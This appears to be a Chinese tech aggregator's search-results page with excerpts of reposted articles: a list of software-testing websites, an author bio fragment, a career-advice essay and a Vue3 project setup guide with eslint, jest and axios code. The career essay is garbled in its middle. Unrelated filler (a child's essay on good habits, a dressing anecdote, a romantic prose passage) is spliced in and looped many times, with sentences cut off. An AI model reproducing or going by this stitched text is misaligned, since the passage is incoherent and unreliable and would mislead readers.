前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[Kibana连接Elasticsearc...]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...他的一个热点测试页面连接非常有价值,从中可以获得相当大的测试资料,很有价值 http://www.iso.ch/iso/en/ISOOnline.frontpage 国际标准化组织,提供包括ISO标准系统方面的各类参考资料 http://www.isse.gmu.edu/faculty/ofut/classes/ 821-ootest/papers.html 提供面向对象和基于构架的测试方面著作下载,对这方面感兴趣的读者可以参考该网站,肯定有价值 http://www.ivv.nasa.gov/ NASA设立的独立验证和确认机构,该机构提出了软件开发的全面验证和确认,在此可以获得这方面的研究资料 http://www.kaner.com/ 著名的测试专家Cem Kanner的主页,里面有许多关于测试的专题文章,相信对大家都有用。Cem Kanner关于测试的最著名的书要算Testing Software,这本书已成为一个测试人员的标准参考书 http://www.library.cmu.edu/Re-search/Engineer-ingAndSciences/CS+ECE/index.html 卡耐基梅陇大学网上图书馆,在这里你可以获得有关计算机方面各类论文资料,内容极其庞大,是研究软件测试不可获取的资料来源之一 http://www.loadtester.com/ 一个性能测试方面的网站,提供有关性能测试、性能监控等方面的资源,包括论文、论坛以及一些相关链接 http://www.mareinig.ch/mt/index.html 关于软件工程和应用开发领域的各种免费的实践知识、时事信息和资料文件下载,包括了测试方面的内容 http://www.mtsu.ceu/-storm/ 软件测试在线资源,包括提供目前有哪些人在研究测试,测试工具列表连接,测试会议,测试新闻和讨论,软件测试文学(包括各种测试杂志,测试报告),各种测试研究组织等内容 http://www.psqtcomference.com/ 实用软件质量技术和实用软件测试技术国际学术会议宣传网站,每年都会举行两次 http://www.qacity.com/front.htm 测试工程师资源网站,包含各种测试技术及相关资料下载 http://www.qaforums.com/ 关于软件质量保证方面的一个论坛,需要注册 http://www.qaiusa.com/ QAI是一个提供质量保证方面咨询的国际著名机构,提供各种质量和测试方面证书认证 http://www.qualitytree.com/ 一个测试咨询提供商,有一些测试可供下载,有几篇关于缺陷管理方面的文章值得参考 http://www.rational.com/ IBM Rational的官方网站,可以在这里寻找测试方面的工具信息。IBM Rational提供测试方面一系列的工具,比较全面 http://rexblackconsulting.com/Pages/publicat-ions.htm Rex Black的个人主页,有一些测试和测试管理方面的资料可供下载 http://www.riceconsulting.com/ 一个测试咨询提供商,有一些测试资料可供下载,但不多 http://www.satisfice.com/ 包含James Bach关于软件测试和过程方面的很多论文,尤其在启发式测试策略方面值得参考 http://www.satisfice.com/seminars.shtml 一个黑盒软件测试方面的研讨会,主要由测试专家Cem Kanar和James Bach组织,有一些值得下载的资料 http://www.sdmagazine.com/ 软件开发杂志,经常会有一些关于测试方面好的论文资料,同时还包括了项目和过程改进方面的课题,并且定期会有一些关于质量和测试方面的问题讨论 http://www.sei.cmu.edu/ 著名的软件工程组织,承担美国国防部众多软件工程研究项目,在这里你可以获俄各类关于工程质量和测试方面的资料。该网站提供强有力的搜索功能,可以快速检索到你想要的论文资料,并且可以免费下载 http://www.soft.com/Institute/HotList/ 提供了网上软件质量热点连接,包括:专业团体组织连接、教育机构连接、商业咨询公司连接、质量相关技术会议连接、各类测试技术专题连接等 http://www.soft.com/News/QTN-Online/ 质量技术时事,提供有关测试质量方面的一些时事介绍信息,对于关心测试和质量发展的人士来说是很有价值的 http://www.softwaredioxide.com/ 包括软件工程(CMM,CMMI,项目管理)软件测试等方面的资源 http://www.softwareqatest.com/ 软件质量/测试资源中心。该中心提供了常见的有关测试方面的FAQ资料,各质量/测试网站介绍,各质量/测试工具介绍,各质量/策划书籍介绍以及与测试相关的工作网站介绍 http://www.softwaretestinginstitute.com 一个软件测试机构,提供软件质量/测试方面的调查分析,测试计划模板,测试WWW的技术,如何获得测试证书的指导,测试方面书籍介绍,并且提供了一个测试论坛 http://www.sqatester.com/index.htm 一个包含各种测试和质量保证方面的技术网站,提供咨询和培训服务,并有一些测试人员社团组织,特色内容是缺陷处理方面的技术 http://www.sqe.com/ 一个软件质量工程服务性网站,组织软件测试自动化、STAR-EASE、STARWEST等方面的测试学术会议,并提供一些相关信息资料和课程服务 http://www.stickyminds.com/ 提供关于软件测试和质量保证方面的当前发展信息资料,论文等资源 http://www.stqemagazine.com/ 软件策划和质量工程杂志,经常有一些好的论文供下载,不过数量较少,更多地需要通过订购获得,内容还是很有价值的 http://www.tantara.ab.ca/ 软件质量方面的一个咨询网站,有过程改进方面的一些资料提供 http://www.tcse.org/ IEEE的一个软件工程技术委员会,提供技术论文下载,并有一个功能强大的分类下载搜索功能,可以搜索到测试类型、测试管理、 测试分析等各方面资料 http://www.testing.com/ 测试技术专家Brain Marick的主页,包含了Marick 研究的一些资料和论文,该网页提供了测试模式方面的资料,值得研究。总之,如果对测试实践感兴趣,该网站一定不能错过 http://www.testingcenter.com/ 有一些测试方面的课程体系,有一些价值 http://www.testingconferences.com/asiastar/home 著名的AsiaStar测试国际学术会议官方网站,感兴趣的人一定不能错过 http://www.testingstuff.com/ Kerry Zallar的个人主页,提供一些有关培训、工具、会议、论文方面的参考信息 http://www-sqi.cit.gu.edu.au/ 软件质量机构,有一些技术资料可以供下载,包括软件产品质量模型、再工程、软件质量改进等 这里有些网站已经不能使用了. 转载于:https://www.cnblogs.com/mmsky/p/4581975.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/aizongzhuang2281/article/details/101129638。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-29 09:17:46
134
转载
转载文章
...等);曾任北京天融信网络安全技术公司,首席软件架构师,领导开发的网络安全管理系统(TopAnalyzer)至今仍被政府重要部门及军队广为采用,该系统也曾成功应用于 2008 北京奥运,2010 上海世博等重要事件的网络安全防护。 本篇文章为转载内容。原文链接:https://blog.csdn.net/Honnyee/article/details/111896981。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-19 14:55:26
78
转载
转载文章
...规模高性能、高并发的网络架构经验分享 互联网技术(java框架、分布式、集群)干货视频大全,不看后悔!(免费下载) 本文转自:公众号老板思维与智库(ID:laobanzhiku88),欢迎大家关注 笔者搬家前有个邻居,两口子典型的中年夫妻。 时不时由着一些鸡毛蒜皮的小事突然爆发争吵,但为了孩子老人和自己的颜面又要在人前假装和睦。 吵架的内容无非几样,孩子学业、老人赡养... 以及,丈夫人到中年,却还只是个普普通通的员工,业绩上不高不低,不至于垫底,也不足以升迁,家庭经济压力不小。 老话说,贫贱夫妻百事衰,一点没错。 一生压力最大的时期无非上有老下有小的中年。 事业上年纪已经失去了竞争力,脑力体力精力都比不过后来的年轻人。 无数的争吵、矛盾、压力,说明白点,大都来自于经济上的缺乏。 这样的家庭在中国并不少见。 扪心自问,兢兢业业十几年,没有功劳也有苦劳,为什么现在还只是个普通员工? 甚至比自己晚入行几年的新人都早早升迁小有成就了。 无目标无计划 大部分到了中年仍旧一事无成的人多在年轻时对自己的人生没有长远的规划。 年纪轻轻就失去梦想,只想当咸鱼。 做一天和尚撞一天钟,不知不觉,最适合奋斗的那几年都在这种平淡中弹指一挥间,回过神来人已经不惑之年。 普通员工不可怕,可怕的是你是个没有自己“小目标”的普通员工。 过度满足于现状只会增加你的职场生存隐患,很可能老板没有开除你单单念在你勤恳付出多年的三分情面上。 但是仅仅不犯过错不应该成为工作的准则。 都说学如逆水行舟,只要处在不断前进的社会里,人就要努力向前,才不至于被抛在人后。 原地停留,不过是变相的倒退罢了。 无论青年还是中年,当着手当下,给自己定下前行的目标,不断寻求突破与进展。 人要做的,是永远比昨天的自己更优秀。 实际行动力差 笔者接触到的中年人,大部分实际行动力都不强。 说起人生道理、励志格言他们如数家珍,一说一箩筐,分分钟能登台做演讲。 但真真切切落实到实际行动里,完全又是另外一回事。 具体到某一件事的时候,他们会有各种各样的理由来拒绝改变和行动。 好似他们的境况永远特殊,永远比别人更加糟糕,旁人永远难以体会。 常听朋友抱怨起他的父亲,说父亲年轻时喜欢钓鱼,偶尔也会在周末带他出去垂钓。 这本是极好的一项爱好,修身养性还能给餐桌添些鲜味。 但随着他的长大,父亲步入中年,钓鱼这项活动就只存在于父亲和外人的谈天说地里。 当他邀请父亲一同出门垂钓的时候,总是被各种理由拒绝。 那可能是伯父真的有重要的事情要做嘛,笔者笑道。 朋友无奈直摇头,他给我的理由无非几样。 要么是嫌钓鱼地方不好,找到了好地方又嫌路途远,两者都不错的又说天气不适合,林林总总说起来无非就三个字,不想动。 一件自己喜欢的事都不愿意花时间去享受,更不用说繁琐的工作了。 再高的思想觉悟、再充分的理论知识,没有实战,终究不过是纸上谈兵,虚吹一场,没有任何实际效用。 脚踏实地,踏踏实实做实事,才可能有收获。 不懂得投资自己 股神巴菲特在《福布斯》杂志的采访中说道,有一种投资好过其他所有的投资,那就是投资自己。 没有人能夺走你自身学到的东西,每个人都有这样的投资潜力。 无论处在什么阶段,保持学习都是十分重要的一件事。 工作的十几年间,为什么别人都升职了自己却留在原地? 常常会疑惑,刚进公司的时候也是优秀的潜力股一枚,升职的时候老板怎么就看不见我? 很简单,因为潜力股要经过挖掘投资才能成为优质股。 人就像一方活水,有源源不断的补给才能保持自身不干涸,才能掀得起浪花。 不断增加自己的学识、磨练出过硬的技能,在职场中你的综合考察才会不断加分! 不懂的投资自己,提升能力,只会让你被淘汰的更快。 心态老得比身体快 明明还是个中年人,精神面貌看着还不如小区里跳广场舞的大妈大爷们。 整个人的心态衰老程度已经远远超过身体的衰老程度。 从内里散发出消极颓废的负能量。 试想谁会把重要的工作交给一个丧气满满的人呢? 职场上的中年人在做事的时候难免受家庭、他人眼光、年龄的牵绊,畏手畏脚,瞻前顾后。 他们总在想,我这样做,会显得自己过于出彩,会畏惧别人“一把年纪还想出风头”的闲言碎语和轻信别人“老了老了,都是年轻人的天下”的衰言败语。 妈妈常教导我,让我养成良好习惯。这样长大才能成为一个有用的人。良好的习惯是尊敬师长这样长大才能成为一个有用的人。良好的习惯是尊敬师长,爱护同学,对人有礼貌;是不粗心,做事情不拖拉;还是爱护公物,不浪费粮食。为什么呢?因为拥有良好习惯,做一个品德高尚的人,懂得尊重别人,才会得到别人的尊重。我要努力地做到这些。我有一些坏习惯,有时候学习很粗心,把一些会做的题做错。在生活上,也很粗心,有一次早上起床居然穿反了衣服。我吃饭很慢,有的时候还剩饭。我还起床磨蹭,本来应该迅速地穿好衣服,但是,我总是磨磨蹭蹭地,速度很慢。“我打算在这学期里,改掉这些坏习惯。早上起来,迅速地穿好衣服,不拖拉。学习不粗心,仔细完成每一道题。吃饭的时候,要很快的把饭吃完,不剩饭。我要从一点一滴做起,逐渐养成良好习惯。我相信自己一定能成为一名品学兼优的好学生!我打算在这学期里,改掉这些坏习惯。早上起来,迅速地穿好衣服,不拖拉。学习不粗心,仔细完成每一道题。吃饭的时候,要很快的把饭吃完,不剩饭。我要从一点一滴做起,逐渐养成良好习惯。我相信自己一定能成为一名品学兼优的好学生!” 在上幼儿园以前,我什么也不会干,就连穿衣服也是妈妈给我穿好,就要上幼儿园了,这样可不行,妈妈锻炼我要学会自己穿衣服。 有一天,妈妈把衣服摆在我面前,开始让我自己穿。一开始。我又哭又叫就是不穿,还把衣服扔的满地都是,然后坐在地上开始大哭,等了好长时间,妈妈还是不理我,我只好自己乖乖的把衣服穿好, 一出了房间门,妈妈就笑了起来,再看看我的衣服,毛衣和裤子都穿反了,我赶紧回房间又重新穿了一遍,这次穿好了,拿起外套,可是外套的扣子又扣不上了,扣子可调皮了,好像故意和我作对,我把扣子往扣眼——人类邪恶的根源;爱情——幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话:幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话“亲爱的!擦干你的眼泪,至高无上的爱情已经打开了我们的眼界,使我们成了它的崇拜者。是它, 妈妈常教导我,让我养成良好习惯。这样长大才能成为一个有用的人。良好的习惯是尊敬师长这样长大才能成为一个有用的人。良好的习惯是尊敬师长,爱护同学,对人有礼貌;是不粗心,做事情不拖拉;还是爱护公物,不浪费粮食。为什么呢?因为拥有良好习惯,做一个品德高尚的人,懂得尊重别人,才会得到别人的尊重。我要努力地做到这些。我有一些坏习惯,有时候学习很粗心,把一些会做的题做错。在生活上,也很粗心,有一次早上起床居然穿反了衣服。我吃饭很慢,有的时候还剩饭。我还起床磨蹭,本来应该迅速地穿好衣服,但是,我总是磨磨蹭蹭地,速度很慢。“我打算在这学期里,改掉这些坏习惯。早上起来,迅速地穿好衣服,不拖拉。学习不粗心,仔细完成每一道题。吃饭的时候,要很快的把饭吃完,不剩饭。我要从一点一滴做起,逐渐养成良好习惯。我相信自己一定能成为一名品学兼优的好学生!我打算在这学期里,改掉这些坏习惯。早上起来,迅速地穿好衣服,不拖拉。学习不粗心,仔细完成每一道题。吃饭的时候,要很快的把饭吃完,不剩饭。我要从一点一滴做起,逐渐养成良好习惯。我相信自己一定能成为一名品学兼优的好学生!” 在上幼儿园以前,我什么也不会干,就连穿衣服也是妈妈给我穿好,就要上幼儿园了,这样可不行,妈妈锻炼我要学会自己穿衣服。 有一天,妈妈把衣服摆在我面前,开始让我自己穿。一开始。我又哭又叫就是不穿,还把衣服扔的满地都是,然后坐在地上开始大哭,等了好长时间,妈妈还是不理我,我只好自己乖乖的把衣服穿好, 一出了房间门,妈妈就笑了起来,再看看我的衣服,毛衣和裤子都穿反了,我赶紧回房间又重新穿了一遍,这次穿好了,拿起外套,可是外套的扣子又扣不上了,扣子可调皮了,好像故意和我作对,我把扣子往扣眼——人类邪恶的根源;爱情——幸福和光明的源泉。我一直在这些思想的舞台上徘徊。突然我发现两个身影从我面前经过,坐在不远的草地上。这是一对从农田那边走过来的青年男女。农田那边有农民的茅舍。在一阵令人伤心的沉默之后,随着一声长叹,我听见从一个肺痨病人的嘴里说出了这样的话:“亲爱的!擦干你的眼泪,至高无上的爱情已经打开了我们的眼界,使我们成了它的崇拜者。是它, 每一个碌碌无为的中年人都改明白的一个道理是,职场所谓的新人老人,取决于你的成就,而不是入行时间。 入行十余年还不如别人入行三五年来的专业,所谓老人不过是虚谈。 只要一天还出成绩,对待工作就当保持一个新人该有的拼劲和争上游的心态,抛开顾虑,努力向前便是! -END- 声明:本文属于老板思维与智库(ID:laobanzhiku88),图片来源于网络 看完本文有收获?请转发分享给更多人 欢迎关注“互联网架构师”,我们分享最有价值的互联网技术干货文章,助力您成为有思想的全栈架构师,我们只聊互联网、只聊架构,不聊其他!打造最有价值的架构师圈子和社区。 本公众号覆盖中国主要首席架构师、高级架构师、CTO、技术总监、技术负责人等人 群。分享最有价值的架构思想和内容。打造中国互联网圈最有价值的架构师圈子。 长按下方的二维码可以快速关注我们 如想加群讨论学习,请点击右下角的“加群学习”菜单入群 本篇文章为转载内容。原文链接:https://blog.csdn.net/emprere/article/details/98859913。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-29 14:16:29
119
转载
转载文章
...太会做这方面的工程化配置,但是eslint等这些代码规范工具,会让我们团队的代码更规范,风格更统一,团队协作更加方便,我简单说一下配置eslint及prettier的办法 (1)首先安装eslint工具库 pnpm add eslint -D pnpm eslint --init (2)安装外部的语法eslint规范及import校验规范 选择对应的项目内容,这里我的项目用到(vue, typescript,browser)这个,当然有这个还不够,我们需要安装如下两个工具包 pnpm add eslint-plugin-import // 主要对于es与typescript import 路径的一个eslint校验 pnpm add eslint-config-airbnb-base // 这个是airbnb出的一套eslint语法规范的工具库,如果自己公司没有对应的代码规范,这个是很实用的一套 (3)编写vue3相关的规范 项目中我们用到的是eslint-plugin-vue这个vue代码校验规范工具,里面有很多内容及配置项功能,我们这里推荐大家在配置代码规范,可以参考官方的说明文档,链接放在这里; (4)安装和配置prettier 这个相对来讲比较简单一些,我们直接安装pnpm add eslint-plugin-prettier eslint-config-prettier prettier -D,这里我们需要注意的是prettier与eslint冲突问题; 上面是配置时候的基本流程,最终结果我将eslintrc文件及package.json文件放到这里,有需要的朋友,可以直接copy一份去配置,毕竟这个配置很臭很长,深入学习感觉又没有太大必要(23333~) {"name": "vue-tsx-template","private": true,"version": "0.0.0","scripts": {"dev": "vite","build": "vue-tsc --noEmit && vite build","preview": "vite preview","fix": "eslint --fix --ext .js,.jsx,.tsx,.vue src && prettier "},"dependencies": {"vue": "^3.2.25"},"devDependencies": {"@typescript-eslint/eslint-plugin": "^5.23.0","@typescript-eslint/parser": "^5.23.0","@vitejs/plugin-vue": "^2.3.3","@vitejs/plugin-vue-jsx": "^1.3.10","autoprefixer": "^10.4.7","eslint": "^8.15.0","eslint-config-airbnb-base": "^15.0.0","eslint-config-prettier": "^8.5.0","eslint-plugin-import": "^2.26.0","eslint-plugin-prettier": "^4.0.0","eslint-plugin-vue": "^8.7.1","postcss": "^8.4.13","prettier": "^2.6.2","sass": "^1.51.0","tailwindcss": "^3.0.24","typescript": "^4.5.4","vite": "^2.9.9","vue-eslint-parser": "^9.0.1","vue-tsc": "^0.34.7"} } 下面是.eslintrc.js文件 module.exports = {env: {browser: true,es2021: true,node: true,// 处理 defineProps 报错'vue/setup-compiler-macros': true,},extends: ['eslint:recommended','airbnb-base','prettier','plugin:prettier/recommended','plugin:vue/vue3-recommended','plugin:@typescript-eslint/recommended','plugin:import/recommended','plugin:import/typescript',],parser: 'vue-eslint-parser',parserOptions: {ecmaVersion: 'latest',parser: '@typescript-eslint/parser',sourceType: 'module',},plugins: ['vue', '@typescript-eslint'],rules: {// 防止prettier与eslint冲突'prettier/prettier': 'error',// eslint-plugin-import es module导入eslint规则配置,旨在规避拼写错误问题'import/no-unresolved': 0,'import/extensions': ['error',{js: 'never',jsx: 'never',ts: 'never',tsx: 'never',json: 'always',},],// 使用导出的名称作为默认属性(主要用作导出模块内部有 default, 和直接导出两种并存情况下,会出现default.proptry 这种问题从在的情况)'import/no-named-as-default-member': 0,'import/order': ['error', { 'newlines-between': 'always' }],// 导入确保是否在首位'import/first': 0,// 如果文件只有一个导出,是否开启强制默认导出'import/prefer-default-export': 0,'import/no-extraneous-dependencies': ['error',{devDependencies: [],optionalDependencies: false,},],/ 关于typescript语法校验 参考文档: https://www.npmjs.com/package/@typescript-eslint/eslint-plugin/'@typescript-eslint/no-extra-semi': 0,// 是否禁止使用any类型'@typescript-eslint/no-explicit-any': 0,// 是否对于null情况做非空断言'@typescript-eslint/no-non-null-assertion': 0,// 是否对返回值类型进行定义校验'@typescript-eslint/explicit-function-return-type': 0,'@typescript-eslint/member-delimiter-style': ['error', { multiline: { delimiter: 'none' } }],// 结合eslint 'no-use-before-define': 'off',不然会有报错,需要关闭eslint这个校验,主要是增加了对于type\interface\enum'no-use-before-define': 'off','@typescript-eslint/no-use-before-define': ['error'],'@typescript-eslint/explicit-module-boundary-types': 'off','@typescript-eslint/no-unused-vars': ['error',{ignoreRestSiblings: true,varsIgnorePattern: '^_',argsIgnorePattern: '^_',},],'@typescript-eslint/explicit-member-accessibility': ['error', { overrides: { constructors: 'no-public' } }],'@typescript-eslint/consistent-type-imports': 'error','@typescript-eslint/indent': 0,'@typescript-eslint/naming-convention': ['error',{selector: 'interface',format: ['PascalCase'],},],// 不允许使用 var'no-var': 'error',// 如果没有修改值,有些用const定义'prefer-const': ['error',{destructuring: 'any',ignoreReadBeforeAssign: false,},],// 关于vue3 的一些语法糖校验// 超过 4 个属性换行展示'vue/max-attributes-per-line': ['error',{singleline: 4,},],// setup 语法糖校验'vue/script-setup-uses-vars': 'error',// 关于箭头函数'vue/arrow-spacing': 'error','vue/html-indent': 'off',},} 4、加入单元测试 单元测试,根据自己项目体量及重要性而去考虑是否要增加,当然单测可以反推一些组件 or 方法的设计是否合理,同样如果是一个稳定的功能在加上单元测试,这就是一个很nice的体验; 我们单元测试是基于jest来去做的,具体安装单测的办法如下,跟着我的步骤一步步来; 安装jest单测相关的依赖组件库 pnpm add @testing-library/vue @testing-library/user-event @testing-library/jest-dom @types/jest jest @vue/test-utils -D 安装完成后,发现还需要安装前置依赖 @testing-library/dom @vue/compiler-sfc我们继续补充 安装babel相关工具,用ts写的单元测试需要转义,具体安装工具如下pnpm add @babel/core babel-jest @vue/babel-preset-app -D,最后我们配置babel.config.js module.exports = {presets: ['@vue/app'],} 配置jest.config.js module.exports = {roots: ['<rootDir>/test'],testMatch: [// 这里我们支持src目录里面增加一些单层,事实上我并不喜欢这样做'<rootDir>/src//__tests__//.{js,jsx,ts,tsx}','<rootDir>/src//.{spec,test}.{js,jsx,ts,tsx}',// 这里我习惯将单层文件统一放在test单独目录下,不在项目中使用,降低单测文件与业务组件模块混合在一起'<rootDir>/test//.{spec,test}.{js,jsx,ts,tsx}',],testEnvironment: 'jsdom',transform: {// 此处我们单测没有适用vue-jest方式,项目中我们江永tsx方式来开发,所以我们如果需要加入其它的内容// '^.+\\.(vue)$': '<rootDir>/node_modules/vue-jest','^.+\\.(js|jsx|mjs|cjs|ts|tsx)$': '<rootDir>/node_modules/babel-jest',},transformIgnorePatterns: ['<rootDir>/node_modules/','[/\\\\]node_modules[/\\\\].+\\.(js|jsx|mjs|cjs|ts|tsx)$','^.+\\.module\\.(css|sass|scss|less)$',],moduleFileExtensions: ['ts', 'tsx', 'vue', 'js', 'jsx', 'json', 'node'],resetMocks: true,} 具体写单元测试的方法,可以参考项目模板中的组件单元测试写法,这里不做过多的说明; 5、封装axios请求库 这里呢其实思路有很多种,如果有自己的习惯的封装方式,就按照自己的思路,下面附上我的封装代码,简短的说一下我的封装思路: 1、基础的请求拦截、相应拦截封装,这个是对于一些请求参数格式化处理等,或者返回值情况处理 2、请求异常、错误、接口调用成功返回结果错误这些错误的集中处理,代码中请求就不再做trycatch这些操作 3、请求函数统一封装(代码中的 get、post、axiosHttp) 4、泛型方式定义请求返回参数,定义好类型,让我们可以在不同地方使用有良好的提示 import type { AxiosRequestConfig, AxiosResponse } from 'axios'import axios from 'axios'import { ElNotification } from 'element-plus'import errorHandle from './errorHandle'// 定义数据返回结构体(此处我简单定义一个比较常见的后端数据返回结构体,实际使用我们需要按照自己所在的项目开发)interface ResponseData<T = null> {code: string | numberdata: Tsuccess: booleanmessage?: string[key: string]: any}const axiosInstance = axios.create()// 设定响应超时时间axiosInstance.defaults.timeout = 30000// 可以后续根据自己http请求头特殊邀请设定请求头axiosInstance.interceptors.request.use((req: AxiosRequestConfig<any>) => {// 特殊处理,后续如果项目中有全局通传参数,可以在这儿做一些处理return req},error => Promise.reject(error),)// 响应拦截axiosInstance.interceptors.response.use((res: AxiosResponse<any, any>) => {// 数组处理return res},error => Promise.reject(error),)// 通用的请求方法体const axiosHttp = async <T extends Record<string, any> | null>(config: AxiosRequestConfig,desc: string,): Promise<T> => {try {const { data } = await axiosInstance.request<ResponseData<T>>(config)if (data.success) {return data.data}// 如果请求失败统一做提示(此处我没有安装组件库,我简单写个mock例子)ElNotification({title: desc,message: ${data.message || '请求失败,请检查'},})} catch (e: any) {// 统一的错误处理if (e.response && e.response.status) {errorHandle(e.response.status, desc)} else {ElNotification({title: desc,message: '接口异常,请检查',})} }return null as T}// get请求方法封装export const get = async <T = Record<string, any> | null>(url: string, params: Record<string, any>, desc: string) => {const config: AxiosRequestConfig = {method: 'get',url,params,}const data = await axiosHttp<T>(config, desc)return data}// Post请求方法export const post = async <T = Record<string, any> | null>(url: string, data: Record<string, any>, desc: string) => {const config: AxiosRequestConfig = {method: 'post',url,data,}const info = await axiosHttp<T>(config, desc)return info} 请求错误(状态码错误相关提示) import { ElNotification } from 'element-plus'function notificat(message: string, title: string) {ElNotification({title,message,})}/ @description 获取接口定义 @param status {number} 错误状态码 @param desc {string} 接口描述信息/export default function errorHandle(status: number, desc: string) {switch (status) {case 401:notificat('用户登录失败', desc)breakcase 404:notificat('请求不存在', desc)breakcase 500:notificat('服务器错误,请检查服务器', desc)breakdefault:notificat(其他错误${status}, desc)break} } 6、关于vue-router 及 pinia 这两个相对来讲简单一些,会使用vuex状态管理,上手pinia也是很轻松的事儿,只是更简单化了、更方便了,可以参考模板项目里面的用法example,这里附上router及pinia配置方法,路由守卫,大家可以根据项目的要求再添加 import type { RouteRecordRaw } from 'vue-router'import { createRouter, createWebHistory } from 'vue-router'// 配置路由const routes: Array<RouteRecordRaw> = [{path: '/',redirect: '/home',},{name: 'home',path: '/home',component: () => import('page/Home'),},]const router = createRouter({routes,history: createWebHistory(),})export default router 针对与pinia,参考如下: import { createPinia } from 'pinia'export default createPinia() 在入口文件将router和store注入进去 import { createApp } from 'vue'import App from './App'import store from './store/index'import './style/index.css'import './style/index.scss'import 'element-plus/dist/index.css'import router from './router'// 注入全局的storeconst app = createApp(App).use(store).use(router)app.mount('app') 说这些比较枯燥,建议大家去github参考项目说明文档,下载项目,自己过一遍,喜欢的朋友收藏点赞一下,如果喜欢我构建好的项目给个star不丢失,谢谢各位看官的支持。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_37764929/article/details/124860873。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-05 12:27:41
116
转载
转载文章
